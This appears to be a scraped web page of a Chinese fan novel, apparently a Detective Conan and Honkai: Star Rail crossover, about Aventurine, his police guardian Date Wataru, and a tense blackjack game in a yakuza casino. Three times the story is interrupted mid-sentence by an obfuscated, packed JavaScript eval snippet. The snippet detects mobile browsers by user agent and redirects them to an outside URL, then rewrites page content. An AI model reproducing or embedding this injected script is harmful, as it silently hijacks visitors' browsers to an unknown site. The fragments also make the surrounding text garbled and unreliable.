红毛顿时面如死灰,心也彻底死——两万个头, 下次见面、一个都不能少。 …… “什么计数?” 伊达航问道。 “小钢珠的数!”砂金晃了晃指间夹着的持玉券,“刚刚还有一局我忘了插卡、没有计数,所以让他帮我留着,下次再加进去。” “别想了,持玉券都是一次性的,当天才会有效。”伊达航哭笑不得,这下彻底相信砂金是第一次去弹珠店玩了, “而且……你竟然还想有下一次?” 他这个警察监护人这么没有面子的吗? “这样啊,”砂金失望地随手将持玉券丢在了路边的垃圾桶里,“那好吧,下次不去了,我就是一个人觉得有些无聊、咳咳……那里也没有我想的那么好玩。” “能这么想就好。”伊达航很欣慰砂金没有沉迷其中,并且不打算告诉砂金那些钢珠还可以兑奖品换钱。 嗯,真相其实是砂金认为这东西……上限低,赚的少,浪费时间,真没意思。 “伊达警官你要带我去哪?” “送你回家,”伊达航给同行的其他同事去了信息,“正好我要去那边巡查,顺路。” 嗯,以伊达航的资历而言,他其实原本也不需要做巡逻这些额外工作的。 “这么快就要回去了吗……”砂金还想去彩票店转转,今天钱还没搞、真的快要变成穷光蛋了呢。 “你不是感冒了吗?”伊达航很理所应当地道,“你自己听听……嗓子都快哑成鸭子了,不回家休息还想去哪?” “……” 真的注意到了啊,砂金恍惚了一瞬,但好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13655923|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像并没有预想的那么开心,心情低落下去。 砂金沉默的听着伊达航一路上的念道,“感觉不舒服不想说话,那就听我说……这几天多穿点保暖的衣服,不是说你这身不好看,就是有点…漏风,少吃冰的和柑橘类的水果,” “晚上适度锻练,别累着,对了、家里有体温计吗?点头摇头。” 砂金摇头,伊达航左右看了看,“跟我过来吧。”说着就把砂金带到了附近的一家药店里,一边拿药一边说着什么时候该吃什么,还有各种的注意事项。 “我拿的是体温枪,更方便一点,晚上多量量。不到38.5别吃退烧药,感冒冲剂回家记得喝,快到39度就给我打电话,还有……” 伊达航的声音就在耳边,砂金却觉得那声越来越远, 为什么呢? “伊达警官,”砂金忍不住问,“你不继续……呃,骂?不对,凶?总之,你不追究我玩小钢珠的事了吗?” 之前不是反复强调不让他碰这些东西的吗,怎么这次……为什么这么简单地问他两句,就放过他了? 砂金还以为伊达航会很生气来着,都做好了狡辩的准备了,结果伊达航除了刚抓到他时有些怒气之外、情绪消失的很快。 是不耐烦他了吗?可伊达航还是很耐心地陪他逛药店;那就是对不听话的他失望了,现在只是在尽警察应尽的义务?但砂金觉得伊达航还是对他和以前一样好,操心的像个老父亲…… 好矛盾,砂金有些不适应。 “还有吉野先生……” 伊达航肯定看得出来之前的事还有隐瞒,砂金想着伊达航会找个没外人的时候再询问他,可看现在这个节奏、伊达航好像并不打算再追究这些了。 “看你突然没了精神、原来是在想这个啊,”伊达航看看砂金脖子上的创口贴,又拿了一盒透气性更好的ok绷放在购物篮里,“年纪不大,心思怪重的。” “我不小了……” “我都快奔三十了,小鬼,你也没成年多久。” “伊达警官,你别转移话题。” “哈哈哈,被发现了,”伊达航摸摸下巴,“让我想想,我该怎么和你说……有了,” “我接受玫瑰的风霜,月亮的斑驳,我也接受你的不完美。” 29.第 29 章 “……” “怎么又不说话了?”伊达航好笑地道,“感觉这么文雅的话不像我会说的?别小看我之前为了给娜塔莉写情书而花的心思啊,” “萩原他在这上面,嘴巴都不一定能说的过我……哦,你不认识萩原,没关系、回头再介绍你们认识。” 伊达航觉得砂金“无聊”可能就是因为认识的人太少了,不足以支持他的社交需要。 之前不提,也是担心一个失忆人士猛得接受太多信息会受不了,打算让砂金自己扩展自己的社会网络、主动去接受和交一些朋友, 结果砂金是真的有本事,一个没注意,他就能和新织组的二把手搭上关系,而且看样子、吉野浩太郎还挺“喜欢”砂金的,虽说知道砂金的性格很擅长社交, 但这也太“擅长”了! 伊达航:……偷猫崽的,丑拒。 所以与其让砂金自己瞎溜达,认识吉野浩太郎那些不太安全的人,伊达航觉得还是自己给砂金推荐些朋友更保险。 不是控制交友,只是“学坏容易,学好难”,可以的话,伊达航希望自家崽子身边正面一些的朋友能多一点, 想到自己能联系上的那两个好友同期,一个跟个极道大佬似的、喜欢用拳头说话,另一个花花公子哥、社交能力也好的过分……伊达航迟疑, 应该…正面会多一点的……吧? …… 降谷和诸伏要没“失踪”就好了,这俩照顾小孩肯定没问题。 …… “……就这么简单?” “就这么简单。” 每个家长都希望自己的崽是世界上最棒的崽,考试门门第一、事业步步高升、生活事事如意、一生天天如此……哪怕只是养只猫,都会希望猫咪乖巧听话亲人、再会个空手后空翻, 但现实不是写好的剧幕,家长不是命运的编剧,谁家的崽——不管是人、还是猫、还是其他生物,都做不到始终完美如人所愿。 学会接受不完美是家长的必修课……可惜总有些不合格的人将之当成可以随意逃课的选修内容,而伊达航绝不是其中之一, 在发现砂金对“概率游戏”有着特殊兴趣之后,伊达航就做好了发生类似于今天诸事的心理准备和应对措施, “非要我说的话,”伊达航一个转折,让砂金竖起了耳朵,“下次想玩就等我休班,我带上朋友陪你一起打扑克,你赢了可以让他们教你打拳拆炸弹,这比打小钢珠刺激多了吧?” 堵不如疏,死咬着不完美的地方不放才是下下策。 砂金试探道:“你不生气了吗?” “当然生气……”伊达航承认自己的情绪,“好吧,我想我有生气的权力,为你的小小叛逆。” 再漂亮再讨人喜欢的猫崽,也不能背着家长拆家,家长有权力生气。 砂金焉了吧唧地垂着头, “但我也很高兴,至少你的第一次叛逆只是去打了小钢珠,”伊达航说着,幽幽地叹气,“而不是飞车抢劫、加入非法组织、校园霸凌、极道火拼、入室盗窃……” 有对比,才有突出, “所以想了想,我又生不起气来了。” 和伊达航经手过的其他未成年犯罪案相比,打小钢珠也不是什么难以接受的事了,至少它不违法! “而且娜塔莉和我的眼光可是很棒的,”伊达航很有条理地掰开细讲,“我不多问是因为我们知道砂金不是坏孩子,你不会做出格事。” “相比较伤害到其他人,我们更担心你在无意识地伤害到自己,” 这可是能干得出受着重伤、还非要出去打工证明自己价值的问题儿童! “还有便是、你也是成年人了,有些事总要有点隐私,不然该不会是……” 伊达航打趣地道,“总说自己已经是个成年人了,但还是想像个小朋友那样向我分享一下自己的有趣小秘密吗?” “那我很乐意倾听……” “才没有!”砂金耳朵尖爆红,“太狡猾了吧,伊达警官……你这是以退为进,料定我不舍得让你们失望,” “庄家通吃啊。” 大手拍了拍砂金肩膀,伊达航拥着砂金笑道,“我可没这么说过哈哈哈……” “所以别想那么多了,不会有人不喜欢你的。” 伊达航希望砂金不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13678246|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰赌是因为他认识到了“赌”对自己的危害,而不是因为害怕被别人讨厌和丢弃, 心灵与精神上的贫瘠干瘪,比赌空了的钱包更可怕。 …… 后面的发展倒没有什么其他的波澜,伊达航送砂金回了家,砂金进门后又数了数钱包,不出门购物的话,还能再撑个几天。 而且按照计划,最近也没什么再出门的机会,今天没搞到钱、那就等一切落幕后再去采购吧,砂金算了算紧要程度又将赚钱的安排往后排了排, 砂金不是多么看重口舌之欲的人,很好养的,快没钱了,那少吃点就好啦、反正饿不死。 最后听话安生一点,也能让伊达警官更放心一些、后续计划开展能更加顺便…… 想着,砂金拎着一大包药突然笑出了声,“……真是自私啊。” 砂金为自己感概。 【呵……】 【自私怎么了,它有什么不好?】「砂金」诡笑地趴在砂金肩头,半虚化胳膊拦腰抱着砂金、两人几乎要重叠在一起,【要我说,你就该再自私一点,】 【你不该为了保证他们的安全而从伊达警官那里搬出去的,只需要把计划稍微改一改,你能得到的更多……你可是公司的高管了,诡计多端、唯利是从的代名词,忘了那些小孩子扮家家一样的幼稚把戏如何?】 “但你知道的,那样做……不够刺激,”砂金大步迈开,边走边脱掉身上被伊达航评价为漏风的单薄衣服,走进浴室,“我不喜欢十拿九稳的无聊游戏。” 【骗骗别人就算了、可别连自己一起骗了,】被甩开的「砂金」紧跟而上,不客气地道,【你承认吧,你就是心软了。】 冰冷的水注穿过「砂金」的身体打到浴室的墙壁瓷砖上,砂金手里握着喷头:“滚出去。” 【恼羞成怒?】 “不,如果你还站在这里继续喋喋不休一些没有任何价值的废话,”砂金皮笑肉不笑地站在淋浴室里,不着一缕,“我会怀疑,” “你又背着我觉醒了什么特殊的癖好。” 原本稳操胜券的「砂金」脸上一僵,【……论恶心人这一点,我还是比不上你。】 30.第 30 章 「砂金」背对着砂金、盘腿坐在淋浴室里,坚决不承认自己对砂金那具和自己一模一样的身体会有什么“特殊癖好”。 “少看些乱七八糟的恐怖片,”水柱打在身上,砂金被冰得一颤,拖着浓重的鼻音继续道,“又是突然出现、又是吹气趴肩的……” 不知道的还以为他这是被男鬼缠上了呢。 哦,这样形容好像也没有问题,真是见了同谐的鬼了,鸡翅膀头。 【但很刺激,最重要的是……】「砂金」歪头拖腮,【我乐意。】 “你也是个自私自利、只顾自己开心的混蛋。” 【我就搞不明白了,我们难道是什么道德感很强的人吗?或者是你背着我抛弃了琥珀王,偷偷信奉「纯美」女神、伊德莉拉了?】 「砂金」刚想扭头看看本体的表情,却又被砂金拿花洒喷了一脸的水,虽然打不到实体上……但这种被当成是偷窥狂的感觉可真令人不爽,「砂金」憋了口气、扭回头, 【恶劣的家伙,纯美骑士团绝对不会收你的。】 “我们是一个人,”砂金从来没有这么喜欢过这一句话,“所以以上,也原模原样的送回给你,恶劣的家伙。” 【啧,你现在越来越不好逗了,】「砂金」吐糟,【还是卡卡瓦夏更可爱……】 咣当! 肥皂穿过「砂金」的脑袋砸在了地上,同时伴随而来的还有砂金破了音的怒骂,“离卡卡瓦夏远一点!” 【卡卡瓦夏就是更喜欢我,】「砂金」梗着脖子,难得丢掉了谜语人的包袝吼回去,【看不过去、你就弄死我啊!】 “你……你以为我不想?”砂金牙咬的嘎吱作响,分不出来是被洗澡水冻的、还是气的,“我这不是就在弄死你的路上出了点小意外,才掉到这里的吗!” 【这不就对了,】「砂金」莫名其妙的发言让砂金的情绪烧到一半突然没了燃料,【坦率一点,对彼此都好。】 在哪方面坦率? 「砂金」没说,但砂金心知肚明。 “这不一样,”砂金抹了把脸上的水,面无表情,“一个白纸般的婴孩,和一个满口谎话的骗子,做过坏事后谁更能得到宽恕、一目了然。” 砂金知道,伊达警官和娜塔莉夫人对他的耐心和好意全出自于他那个根本就是无稽之谈的“身世”, 谁会对一个和社会脱节、记忆一片空白、过去饱受折磨、心理年龄还没有自己鞋码个位数大的幼崽计较那么多? 说伊达航和娜塔莉这是把他当孩子养了、也不足为过。 可一旦让他们知道真相,曾经的善意会变成什么……砂金不用赌也知道答案,如同好心人去孤儿院收养了个可爱的孩子,最后却发现那根本不是“孩子”、而是一个早就成年了的侏儒一般, 只会感觉到头皮发麻、后怕、还有恶心。 【你也少看点恐怖片吧】「砂金」吐槽完,便道,【不打算坦白,那就只能……】 “将秘密捂得更严,愿诡计……” 【永不败露。】 【母神会祝愿你我,那既然做好了决定,就不要再说什么厌恶“自私”之类的话了,】「砂金」道,【你又不是纯美骑士,要那么高的道德标准做什么?】 【再说自私这个好东西的前提是“自”……】 说着,「砂金」更加想笑,【你现在真的有“自我”那种东西吗?】 【你这位曾几度徘徊在虚无边缘的“自毁者”?】 「砂金」希望砂金更自私一点是发自内心的真心话,他们不需要大无畏的牺牲精神、或是高洁无瑕的品质,「砂金」需要砂金去找到“自我”, 愿意陪卡卡瓦夏玩闹就是个很不错的发展, 现在的自私也是。 —————————— 一连五天过去,砂金都没有再出过家门,吃饭靠外卖、社交靠手机,没事就和伊达航、娜塔莉还有安室透这为数不多的几个熟人通个短信、发发/漂亮自拍照, 之前塞满了整整一个衣帽间外加两个大衣柜的衣服成功排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13687633|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了用场,砂金保证每一张照片的造型都是不一样、不重复的, 别问为什么不打电话,在砂金的努力之下、他的嗓子彻底哑了,根本就说不出话来,伊达航没办法,只能等空下来再去看望一下砂金了。 因为“校园霸凌”一事,娜塔莉在学校里也忙得厉害,伊达航更是不敢闲着,在得知砂金不打算出门、在家养病十分安全后就专心地看守起毛利兰来, 人的精力是有限的,高强度的工作压力下,必然要有所权衡、判断轻重缓紧,这是在所难免的事。 而一切就在伊达航没有注意到的角落里,悄然发生…… 工作到凌晨,还没有休息一会儿的安室透被部下一条接一条的紧急通知驱散了全部的困意, 偏僻的死胡同巷口,零零散散的几人站在里面垂着头、气氛低迷, 而安室透手中拎着封在透明证件袋里的、原本属于砂金的手机,脸色是前所未有的难看,“你们是说,今天清晨在警方的巡逻队走后,目标一个人偷偷摸摸地出了门,” “然后干净利落地甩掉了你们这些精英中的精英,消失在了这个巷子里、不见踪影,而你们在万分仔细的搜查之后,就只找到了这个一看便知是目标故意给你们留下的手机,” 安室透顿了顿,忍着怒火,“其他什么也没发现,对吗?” “是、是这样的……” “目标发现你们了,你们没有察觉到问题吗?”安室透忍了怒火、忍不下波本的刻薄毒舌,“侦察和反侦察意识被你们当成是果酱、就着早餐吃掉了吗?” “对、对不起……” 晨风卷着寒意在小巷里回荡,在安室透一声接一声的“询问”之下,负责监管砂金的几位公安精英心中一紧、羞愧地低着头,“我们很抱歉……” “不要和我道歉,有什么话还是留着在述职检讨里说吧,”安室透打断了部下,他现在的心情很不美妙,“等这件事后,你们必须给我一个交代,” “不然就从我的手下滚出去!” 60-70 第61章 其实吧, 砂金真没坏心眼, 吉野浩太郎的担心是完全没……呃,有必要的。 才歇会儿没几个小时, 正在自己办公室里处理事务的吉野浩太郎就接到了来自部下的请示。 “吉野老大, ”部下犹豫不决, “要不…您下去看看吧, 您带来的那位客人已经……” 笔一撂, 吉野浩太郎揉揉太阳穴, “他闹事了?” “这个倒没有,”部下摇头, 欲言又止道, “就是……” 吉野浩太郎:“?” 部下难以启齿:“就是,那个…有些……有伤风化……” 吉野浩太郎:“……有话直说。” 部下眼一闭,硬着头皮道, “大厅里出了好多个输得只剩裤头了的客人了!您再不管管,其他客人就要跑完了!” 吉野浩太郎:“……见鬼的。” —————————— 这时的内场大厅中, 有着奇特眸色的金发年轻人张扬地翘腿坐在牌桌上,一叠扑克牌在两手间翻飞交错着,无人敢出声打扰这位主,年轻人干脆将打乱的牌合拢、伏身一字抹开在桌面上, 衬衣贴合着腰身在桌前勾勒起一条曲线,孔雀尾羽式的单边耳饰在脸颊着晃荡、时不时扫过含笑的唇角,像是真的羽毛在亲吻那张上帝的杰作, “ Blackjack ,”年轻人轻轻挑了下眉,带着游刃有余的礼貌笑意问道,“我坐庄,还有朋友想来玩一把试试吗?” 仅从外貌而言,他绝对勾得起一切心有不轨的人想要凌辱的野心和欲望,事实也的确如此, 砂金刚坐上庄家的位上时,一轮Blackjack六个人都凑得满满的,还有人排着队等着下一轮和砂金较量一二。 还有人起哄不要钱,让砂金输了就赔一件衣服的……也是好算计,黑市上孔雀的特殊照片的确比小赌一两把赢的值钱多了,连八木海都会心动的那种。 可对于混迹各种赌场的砂金而言,他哪种场面没见过? 再下流的话他都听过, 结果如何嘛……用托帕曾经的吐糟来说,把砂金放进赌场里的杀伤力, 丝毫不逊色与把阿哈放进星穹列车、把贪饕放到琥珀王筑的墙边、以及把岚放进药师的菜园子里。 没过几轮,叫嚣着让砂金脱衣服的好事人都不说话了, 砂金仅仅是在熟悉玩法的时候输了两轮,脱了件外衣和领带而已,和他1V1的对面就已经脱得只剩裤衩子、狼狈退场了。 “我还没玩够呢,朋友们,”砂金随手从一排纸牌里随便抽了一张牌,翻开一看,“黑桃2 ,这点有些小啊……真的没有人想再挑战一次吗?” 砂金话音落下,周围其他牌场上的声音都小了不少、围观的人都默默地远离了砂金的这张桌子, 还有砂金桌前堆成了一小座小山、代表着砂金有多凶残的赌客的衣裤——能在内场坐场的人自然不会有输了还想耍赖的存在,极道规矩、一般没人会主动去破坏。 “发生什么事了,”吉野浩太郎在部下的带领下脚步匆匆地走来,锐利的目光环视一周, 随后嘴角抽搐得发现了几个光着大半身体、有些辣眼睛的人还在努力往人群里躲,试图把自己藏起来。 打架斗欧、踢馆闹事的情况,吉野浩太郎处理过不少,现在这种……他还是第一次见,头疼。 吉野浩太郎只好收回视线,看向一脸无辜的砂金:“……你来解释。”说好的不让他难做呢? “我的真心苍天可鉴啊,朋友,”砂金耸肩,“我可守规矩了,他们想赌什么我就陪他们赌了什么,看我多贴心……我什至没和女士坐场、就怕大家玩得尴尬。” 所以被扒光的都是男的。 “现在可少有我这么懂礼貌的好人了,哪里像他们、一上来就要扒我衣服,差点就吓到我了呢……” “噗嗤——!” 茶言茶语的发言让人群里的有些人没忍住笑出了声,砂金顺着笑声看过去,戴着黑墨镜的卷发青年被半长发同伴很有眼色的一胳膊肘捅得闭上了嘴,摆着手示意不用在意他们。 还是那句话,吉野浩太郎是见过砂金睁眼说瞎话的本事的,黑的都能被说成白的,他可不会信砂金说的任何鬼话。 见主事的人来了,先前输得一塌糊涂的人终于忍不住了,扯着桌布挡羞、脸色因为各色的打量视线而涨通红的一男人忍不住张口道,“这小子绝对出千了,我不服!” 这言一出,本来就因为吉野浩太郎的出面而安静的现场更安静了。 吉野浩太郎的脾气一向很好,但再好……他也是混黑的,有些话能不能说、有些问题要不要解决,吉野浩太郎门清着呢。 挽了挽袖子,结实的肌肉上纹身狰狞,吉野浩太郎沉沉地看了一眼说话的男人,“你确定你要举报他出千吗。” 男人咽了咽唾沫,但话已出口、不能再改,“我……我确定!” 砂金肯定出千了,所有人都这么认为,只是……他们抓不到砂金的把柄。 “这么搞可没有意思了啊,”砂金叹气、把那张黑桃2随手丢在赌桌上,两只手轻举至肩、以示没有做手脚,“那大哥?你来说说该怎么办吧。” “那就按规矩来办,”吉野浩太郎活动了下手腕,反手从后腰抽出匕首、踱步到了砂金一字排开的桌前,处理赌桌上的纠纷也算是他的日常工作, 不过一般的小喽啰不值得吉野浩太郎出面罢了,而孔雀……刚好值得。 随意扫了一眼一排码得整齐有序的扑克,吉野浩太郎抬起手,猛地挥下, 铮——! 一声脆响、锋利的匕首穿透了木制的桌面,颤抖的刀刃连带着刀柄在空气中嗡鸣震动着、晃出了残影,其中一张扑克被吉野浩太郎死死地钉在了桌子上。 “暗牌我选好了,”吉野浩太郎拍拍手上不存在的灰,转身对砂金说道,“那张黑桃2做明牌,你挑个人替你坐庄、不能碰牌,再开一场六人局,” “赢了就证明你运气是真的好,你大胆地玩……我保你,谁都不能在这家赌场里动你一根指头。” “听起来不错,”砂金扫了眼寒光凌厉的匕首,抬手拨了拨耳坠,“要是我输了呢?” “那就说明你出了千,出千剁手、理所当然,”吉野浩太郎目光移向了举报砂金出千的男人身上,难得咧开了嘴角笑道,“当然,要是随意举报他人,结果冤枉了他人……” 淡淡的杀意铺开, “该剁的是谁,就不用我再细说了吧。” 第62章 “ hagi,这边的人…都玩得这么狠的吗?” 推了下墨镜,松田阵平凑到萩原研二耳边小声嘀咕着,动不动就剁手、还真是嚣张啊! “约定俗成的老传统, ”萩原研二也小声回复着, “我们也不方便出手……” 有人质疑, 自然要有质疑失败的惩罚, 不然今天你指证一个、明天他怀疑一个, 这行子生意还要不要做了? 不过按照游戏规则来看,萩原研二摸着下巴想着, Blackjack超过21点就会爆掉, 那个漂亮庄家的明牌是2点, 暗牌为2至11点之间的任一, 两张牌数之和就在4至13点之间,不到17点的庄家需要强制拿牌直至等于或超过17点, 所以庄家这轮肯定要强制拿牌了。 而庄家点数离17差的越多, 拿的牌也就越多,到时爆掉的可能性也就越大,万一玩家里有个人“AT”开局……那好了、后面也不用玩了,庄家直接输掉所有。 总得来说,庄家能不能赢、真的很看运气——而且挑暗牌的人又是半路插手的吉野浩太郎,就算那个庄家提前记了牌、知道每一张牌的位置也没有用, 庄家也不知道吉野浩太郎匕首一抬、会给他选定哪一张牌, 所以这一局也算是很有公平可言了。 吉野浩太郎的举动算是合了不少人的心,陆续有人配合吉野浩太郎的话坐到了砂金的桌前、参与这场新的赌局。 松田阵平和萩原研二正想着继续在暗中观察,却不想那个金发异瞳的年轻人突然远远的冲他们招了招手, “那位长头发的朋友,”砂金打了声招呼, “愿意过来帮我个忙吗?” 萩原研二左右看看,指了指自己,“我?” “对,”砂金笑脸盈盈地走过去,十分自来熟的胳膊就搭在了萩原研二肩上,“我看朋友你很合我的眼缘,过来帮我坐个庄……” “正好你也一直待在角落里看戏,肯定记不住我洗牌的顺序吧?” 这点倒是真的,萩原研二之前待的那个位置为了能够看清全局、离砂金是又远又偏,只能看见砂金嚣张的作派,看不清砂金翻飞的牌面——而且砂金的洗牌技术很好,离得近的人其实也看不清。 砂金保证了一句,“嗯,输了剁我的手、不剁你的。” “看你这话说的,”萩原研二拍拍松田阵平的手背、示意好友不要轻举妄动,也是乐呵呵地跟着砂金就走,“我们要有点信心,肯定不会输的,对吧?” 松田阵平臭着一张脸、啧了一声,瞪走了一个刚想上桌的赌客,以绝对的大佬气场抢了最后一个游戏名额, hagi都入局了,他怎么可能不入场? …… 至此,砂金和萩原研二坐庄,五名闲家就座,新一轮的Blackjack在吉野浩太郎和众人的监督下正式开始。 正常来说,发牌的应该是庄家, 但砂金刚好被吉野浩太郎禁止触牌了,于是萩原研二为了公平起见,没有重新洗牌、但也没按照洗好的顺序,随便从排成一排的扑克里剔了牌就发给了五位闲家, 为了让游戏更有观赏性,萩原研二很懂行的一张一张地发。 “5。”一号位的短发女士开出第一张牌,是个方片5。 二号位的是个秃顶胖子,胖子在众人的注视下有点紧张、翻了两下牌才翻开,“……是,是红桃3 。” 长发阴郁男坐在第三位,沉默地翻开牌、推到众人的眼前——方片4 。 四号位则是披着桌布、满脸不服气的瘦高个,他很果断开牌,可惜结果让他不太满意,“ 9点,啧。” 松田阵平坐在最右边,他……呃,其实没那么懂Blackjack的规则,经常参加联谊会、玩过各种花样扑克的萩原研二比他懂得多,所以松田阵平看了下牌,很随意地就亮了个点, ——梅花A。 萩原研二沉默地看看牌,又看看不知道这代表了什么,但装得像个老手一样波澜不惊、气定神闲的松田阵平, 小阵平,你手气真的不用这么好。 松田阵平推下墨镜,“有事?” “没事,”知道松田阵平不懂,萩原研二只好开口掩护幼驯染道,“这下到生死局了,庄家先生。” Blackjack中的A牌,即可以当1点,又可以当作是11点,同时也是“AT”中的A;10、J、Q、K代表的点数都是“10”,也就是“Ten”中的“T”, 一个A+一个T,正好凑齐21点,这是Blackjack中最特殊最大的牌型,没有比这更大的点数了, 如果庄家也是“AT”,正好打个平手……可惜砂金的那张明牌是2,不可能再凑个出AT。 所以接下来,松田阵平只要再拿到一个10或者JQK,就能够代表所有闲家直接结束赌局、赢下庄家的那只手。 砂金哇哦了一声,像是没有什么危机感似的感叹道,“运气不错啊,朋友。” 砂金随手洗着玩所以就只洗了一副牌,去除大王小王和五位闲家已经抽走的牌面、还有明牌暗牌,剩下共45张,其中抽到T的概率是16/45 ,即大约34.56%的概率, 三分之一的机率对于概率游戏而言,已经不小了。 发牌继续,考虑到松田阵平手上的A,萩原研二发牌的速度加快了一些, 一号位:3,共计8点; 松田阵平结束赌局的概率上升到16/44,36.36% 二号位:6,共计9点; 概率16/43,37.21% 三号位:9,共计13点; 16/42,38.10% 四号位:7,共计16点; 16/41 , 39.02%……除了砂金之外的所有人,目光炯炯都地注视着松田阵平手上的第二张牌, 39.02%的机率,会是T吗? 不懂行的松田阵平不免也感觉到了压力,翻牌的手顿了顿、才又翻开 ——8。 “啧,就差一点!”四号位的瘦高个比松田阵平还激动,气得一拳碰在桌子上,“庄家继续, Hit !” 萩原研二倒是侧头看了一眼身边的砂金,砂金脸上的表情从始至终都没有变过, 是记下了牌面,知道我发给小阵平的牌不是T才这么淡定的吗?萩原研二心下思索着,还是真就那么相信自己的运气? 赌局没停,发牌继续, 萩原研二开始了下一轮闲家要牌的环节,除了已经累计了19点的松田阵平在他的眼神暗示下选择了停牌之外,其他四人继续, 一号位的女士开出了9,累积5+3+9=17点,女士思沉片刻,保守性地选择了停牌,担心再要会爆掉。 “Stand。” 虽然他们这些陪玩的输了不会剁手,但押的赌注也不低,没人喜欢为了给别人赢场子而输了自己的钱。 “我手上是7……现在是16点了,那我再赌一把吧。”胖子挠挠头,打算选择了继续。 三号的男人依旧很沉默,牌面翻开,点数为10……累计23点,爆了。 男人神色更暗了暗,把压注的筹码一推、起身离开赌桌,他的游戏结束了。 砂金捡起一枚筹码把玩了一下,看向四号举报他出千的瘦高个,“朋友,你之前的点数就已经有16点了吧,确定要继续吗?” 心理战术同样是赌局上的老把戏, 发牌全由萩原研二代劳、没事干的砂金托着下巴说道,“拿到5点以上的牌你就会爆掉,” “爆牌的概率……” 心细、记忆和计算能力都不错的萩原研二也在心下算着,答案是64.86% , “呀呀,我小时候没上过学、数学不太好,所以有些算不出来呢,不过想来应该不低,”砂金笑问着四号,“要赌吗朋友?” 纯靠脑子和自身算力的算牌行为严格意义上并不算出千,只是很多赌场的规定禁止算牌并且不欢迎算牌手而已,为了防止算牌干扰公平,正常Blackjack的玩法节奏也会更快、牌数也不会只有区区一副。 但现在情况特殊,砂金没有借助外力计算,同时一直又都是庄家,算与不算没有影响——毕竟就算砂金算出自己赢率不大也不能收手反悔, 所以吉野浩太郎咬着烟,没有对砂金有些暗示算牌的行为作出反应。 瘦高个咬咬牙,还是坚持,“Hit!” 萩原研二点点头,随手按住一张扑克准备推给瘦高个,而瘦高个死死盯着砂金的表情观察…… 在牌即将到手的那一刻,瘦高个捕捉到了砂金脸上那一瞬间不仔细看根本就发现不了的放松,于是连忙收回了手,对萩原研二道,“等等!我怎么知道你是不是和他是一伙的、然后故意发给我会爆的牌?” 瘦高个义正言辞地拒绝了萩原研二的发牌,“我要换一张!” “好的,你说了算。”萩原研二耸耸肩,手指随意在牌面上滑动,“那你要哪一张?” 还是特殊情况的原因,吉野浩太郎没制止砂金疑似算牌的发言,公平起见、他也没制止瘦高个要换牌。 瘦高个仍在观察着砂金的表情,直到砂金某一瞬间似乎有些不耐烦地轻皱了下眉、又极快地掩盖过去的时候,才指着萩原研二手下的一张牌道,“我就要这张!” 萩原研二依言翻开牌面——黑桃6, 累计22点, 爆。 “等、等等,怎么会是6 ?!”瘦高个脸色一僵,“我明明看见他……” 大脑嗡地一下响了, 瘦高个伸手猛得掀开萩原研二原本打算给他的那张牌——红桃5, 累计21。 砂金脸上那微不可察的“轻松”和“皱眉”在脑中回闪,瘦高个顿然醒悟,“混蛋、你是故意的——!” 故意误导他换掉了好牌! 第63章 这场赌局的一个有趣的前提是, 萩原研二没有进行二次洗牌, 暗牌还被匕首插在桌子上呢,想洗也没法子洗不是吗? 不过左右不是砂金发牌,所以问题不大,唯一的问题可能也就是砂金记了牌,最后也只能眼睁睁看着萩原研二把牌发给别人、自己却插不上手罢了。 这对砂金没什么好处,可对闲家们可就不一定了。 松田阵平手上拿了A 、等T凑Blackjack的时候,萩原研二就猜测过砂金这么淡定是不是就是因为记了牌、提前知道了牌面,那其他人肯定也会这么想, 面对39.02%的剁手可能,一般人真没有这么淡定的。 因此, 这场赌场也带上了几分“抽鬼牌”的特殊性质, 闲家可以根据知道牌面的庄家的细微反应来判断自己手上的牌好或不好…… 所以瘦高个在发现爆牌的可能性很高后,输掉对赌的巨大压力让他选择用走偏门的方式来提高抓到好牌的概率, 又在砂金脸上抓到了自以为的“破绽”之时, 果断选择了换牌。 然而…… 金发的年轻人仍是一手撑着下巴,另一手闲不住地摆弄着摸过的筹码,笑眯眯地问道,“我怎么了?” “我可是好心提醒过你的,爆率不小、要三思而后行哦?” 然而可惜的是,砂金一样可以用同样的心理来误导欺骗闲家,让闲家放弃一张好牌。 赌局对弈, 何尝不是一种心理层次上的对弈,谁先耐不住性子慌了、谁就满盘皆输。 “擅自掀牌违规,”吉野浩太郎这下不能对瘦高个的举动睁一只眼闭一只眼了, 扫了瘦高个一眼后便道,“做为弥补, 最后平局算庄家赢。” 1V5对庄家来说本就有些不利,只是砂金太得罪人了,不这么安排难以服众。现在吉野浩太郎这么一说,倒有点找平的意味。 不料砂金却摇了摇头,晃了晃手中的筹码,“还是给我双倍赌注吧,两只手、或者是两倍的赌金都可以,” “我更喜欢看得见、摸得着的补偿。” 